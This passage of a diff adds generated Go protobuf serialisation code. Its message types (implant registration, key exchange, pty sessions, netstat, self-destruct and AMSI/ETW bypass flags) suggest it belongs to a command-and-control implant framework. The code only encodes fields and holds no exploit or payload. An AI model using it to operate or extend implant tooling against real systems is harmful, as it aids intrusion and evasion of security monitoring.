copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PtyResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Metadata) > 0 { + for k := range m.Metadata { + v := m.Metadata[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x3a + } + } + if len(m.ActiveSessions) > 0 { + for iNdEx := len(m.ActiveSessions) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ActiveSessions[iNdEx]) + copy(dAtA[i:], m.ActiveSessions[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ActiveSessions[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if m.SessionActive { + i-- + if m.SessionActive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputText) > 0 { + i -= len(m.OutputText) + copy(dAtA[i:], m.OutputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputText))) + i-- + dAtA[i] = 0x1a + } + if len(m.OutputData) > 0 { + i -= len(m.OutputData) + copy(dAtA[i:], m.OutputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputData))) + i-- + dAtA[i] = 0x12 + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CommonBody) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CommonBody) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *CommonBody) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.BytesArray) > 0 { + for iNdEx := len(m.BytesArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.BytesArray[iNdEx]) + copy(dAtA[i:], m.BytesArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BytesArray[iNdEx]))) + i-- + dAtA[i] = 0x52 + } + } + if len(m.StringArray) > 0 { + for iNdEx := len(m.StringArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.StringArray[iNdEx]) + copy(dAtA[i:], m.StringArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringArray[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.BoolArray) > 0 { + for iNdEx := len(m.BoolArray) - 1; iNdEx >= 0; iNdEx-- { + i-- + if m.BoolArray[iNdEx] { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BoolArray))) + i-- + dAtA[i] = 0x32 + } + if len(m.U64Array) > 0 { + var pksize2 int + for _, num := range m.U64Array { + pksize2 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize2 + j1 := i + for _, num := range m.U64Array { + for num >= 1<<7 { + dAtA[j1] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j1++ + } + dAtA[j1] = uint8(num) + j1++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize2)) + i-- + dAtA[i] = 0x22 + } + if len(m.U32Array) > 0 { + var pksize4 int + for _, num := range m.U32Array { + pksize4 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize4 + j3 := i + for _, num := range m.U32Array { + for num >= 1<<7 { + dAtA[j3] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j3++ + } + dAtA[j3] = uint8(num) + j3++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize4)) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Ping) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Ping) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Ping) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Nonce != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Nonce)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Register) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Register) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Register) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Secure != nil { + size, err := m.Secure.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Sysinfo != nil { + size, err := m.Sysinfo.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.Timer != nil { + size, err := m.Timer.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Module) > 0 { + for iNdEx := len(m.Module) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Module[iNdEx]) + copy(dAtA[i:], m.Module[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Module[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Proxy) > 0 { + i -= len(m.Proxy) + copy(dAtA[i:], m.Proxy) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Proxy))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Secure) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Secure) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Secure) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0x22 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x1a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x12 + } + if m.Enable { + i-- + if m.Enable { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *KeyExchangeRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Nonce) > 0 { + i -= len(m.Nonce) + copy(dAtA[i:], m.Nonce) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Nonce))) + i-- + dAtA[i] = 0x22 + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x18 + } + if len(m.Signature) > 0 { + i -= len(m.Signature) + copy(dAtA[i:], m.Signature) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Signature))) + i-- + dAtA[i] = 0x12 + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *KeyExchangeResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Init) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Init) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Init) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SysInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SysInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SysInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Os != nil { + size, err := m.Os.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.IsPrivilege { + i-- + if m.IsPrivilege { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Workdir) > 0 { + i -= len(m.Workdir) + copy(dAtA[i:], m.Workdir) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Workdir))) + i-- + dAtA[i] = 0x12 + } + if len(m.Filepath) > 0 { + i -= len(m.Filepath) + copy(dAtA[i:], m.Filepath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Filepath))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Suicide) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Suicide) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Suicide) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x10 + } + if m.Type != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Type)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Request) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Request) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Request) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x2a + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Input) > 0 { + i -= len(m.Input) + copy(dAtA[i:], m.Input) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Input))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Response) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Response) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Response) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Array) > 0 { + for iNdEx := len(m.Array) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Array[iNdEx]) + copy(dAtA[i:], m.Array[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Array[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Kv) > 0 { + for k := range m.Kv { + v := m.Kv[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x12 + } + if len(m.Output) > 0 { + i -= len(m.Output) + copy(dAtA[i:], m.Output) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Output))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *BypassRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BypassRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *BypassRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.AMSI { + i-- + if m.AMSI { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.ETW { + i-- + if m.ETW { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *NetInterface) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetInterface) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *NetInterface) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.IpAddresses) > 0 { + for iNdEx := len(m.IpAddresses) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.IpAddresses[iNdEx]) + copy(dAtA[i:], m.IpAddresses[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.IpAddresses[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Mac) > 0 { + i -= len(m.Mac) + copy(dAtA[i:], m.Mac) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Mac))) + i-- + dAtA[i] = 0x1a + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if m.Index != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Index)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SockTabEntry) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SockTabEntry) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *SockTabEntry) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Protocol) > 0 { + i -= len(m.Protocol) + copy(dAtA[i:], m.Protocol) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) + i-- + dAtA[i] = 0x32 + } + if len(m.Pid) > 0 { + i -= len(m.Pid) + copy(dAtA[i:], m.Pid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Pid))) + i-- + dAtA[i] = 0x2a + } + if len(m.SkState) > 0 { + i -= len(m.SkState) + copy(dAtA[i:], m.SkState) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SkState))) + i-- + dAtA[i] = 0x1a + } + if len(m.RemoteAddr) > 0 { + i -= len(m.RemoteAddr) + copy(dAtA[i:], m.RemoteAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.RemoteAddr))) + i-- + dAtA[i] = 0x12 + } + if len(m.LocalAddr) > 0 { + i -= len(m.LocalAddr) + copy(dAtA[i:], m.LocalAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LocalAddr))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *NetstatResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetstatResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *NetstatResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Socks) > 0 { + for iNdEx := len(m.Socks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Socks[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Block) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Block) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Block) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x12 + } + if m.BlockId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BlockId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *ACK) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ACK) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ACK) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.Success { + i-- + if m.Success { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Id != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Id)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Os) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Os) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Os) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.ClrVersion) > 0 { + for iNdEx := len(m.ClrVersion) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ClrVersion[iNdEx]) + 